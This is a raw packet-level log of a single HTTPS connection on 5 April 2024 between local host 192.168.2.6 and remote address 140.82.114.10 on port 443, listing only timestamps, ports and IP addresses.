Apr 5, 2024 20:10:30.697926044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.698425055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.698441029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.698470116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.698473930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.698504925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.698532104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.698890924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.698908091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.698951006 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.698955059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699001074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699224949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699244022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699274063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699279070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699315071 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699321985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699734926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699753046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699790955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699795008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.699820042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.699839115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700122118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700139999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700186014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700190067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700197935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700212955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700232983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700237036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700259924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700618029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700644970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700680971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700685978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700706959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700938940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700953960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.700985909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.700989962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701014042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701422930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701447010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701476097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701479912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701555014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701769114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701786041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701817036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701819897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701839924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701841116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701884985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.701888084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.701924086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.713500023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.713519096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.713557005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.713566065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.713608027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.713753939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.714713097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.714734077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.714775085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.714781046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.714813948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.714834929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.717152119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.717190981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.717211008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.717216015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.717237949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.717269897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.718180895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.718197107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.718236923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.718240976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.718261957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.718280077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.718286991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.718297958 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.720123053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.720144987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.720168114 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.720171928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.720211029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.722027063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.722058058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.722083092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.722086906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.722110033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.724508047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.724530935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.724560976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.724572897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.724591970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.727142096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.727157116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.727197886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.727201939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.727242947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.727938890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.727987051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.767306089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.767324924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.767399073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.767406940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.767456055 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.774840117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.774857998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.774897099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.774903059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.774940968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.777036905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.777061939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.777097940 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.777102947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.777160883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.777180910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.780126095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.780143023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.780199051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.780204058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.780244112 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.780529022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.780582905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.784156084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.784173012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.784220934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.784224987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.784255981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.785718918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.785741091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.785773993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.785778046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.785815954 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.788243055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.788260937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.788322926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.788327932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.789655924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.789675951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.789737940 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.789742947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.789781094 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.790165901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.790235996 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.790239096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.790273905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.791567087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.791583061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.791649103 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.791651964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.791673899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.791712999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.792784929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.792800903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.792839050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.792844057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.792917967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.797210932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.797233105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.797266960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.797271967 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.797322035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.801656961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.801696062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.801726103 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.801736116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.801775932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.801791906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.801872969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.801912069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.803518057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.803535938 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.803623915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.803628922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.812731981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.812753916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.812798023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.812803984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.812843084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.815226078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.815243959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.815318108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.815323114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.815337896 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.817285061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.817339897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.817377090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.817385912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.817428112 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.817637920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.817699909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.817704916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.817756891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.820657015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.820681095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.820744991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.820751905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.820785999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.820807934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.825546980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.825565100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.825618982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.825623989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.825660944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.825685024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.826731920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.826750040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.826791048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.826795101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.826828957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.826860905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.827579975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.827599049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.827670097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.827676058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.827727079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.827769995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.827832937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.828902960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.828911066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.828989983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.828994989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.829744101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.829763889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.829803944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.829808950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.829834938 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.830642939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.830657959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.830728054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.830733061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.830744028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.831573963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.831594944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.831629038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.831633091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.831665039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.831696033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.831743002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.831748009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.831854105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.832930088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.832947016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.833008051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.833013058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.833079100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.833816051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.833833933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.833868980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.833874941 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.833941936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.834897041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.834922075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.834970951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.834975004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.835005999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.835021019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.836669922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.836687088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.836761951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.836766958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.836796999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.836808920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.836812973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.836863041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.838491917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.838512897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.838566065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.838576078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.838603973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.839359999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.839375019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.839431047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.839436054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.839457989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.840575933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.840599060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.840631008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.840639114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.840693951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.841644049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.841660023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.841700077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.841705084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.841732025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.841754913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.841810942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.841814041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.841861010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.843466043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.843482971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.843518019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.843521118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.843580961 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.844409943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.844427109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.844466925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.844471931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.844497919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.844568014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.845736980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.845752954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.845815897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.845818996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.845830917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.845861912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.846968889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.846986055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.847032070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.847037077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.847071886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.847104073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.847301006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.847349882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.849307060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.849324942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.849365950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.849370003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.849411011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.850394011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.850419998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.850447893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.850450993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.850483894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.851406097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.851425886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.851461887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.851466894 CEST	443	49727	140.82.114.10	192.168.2.6
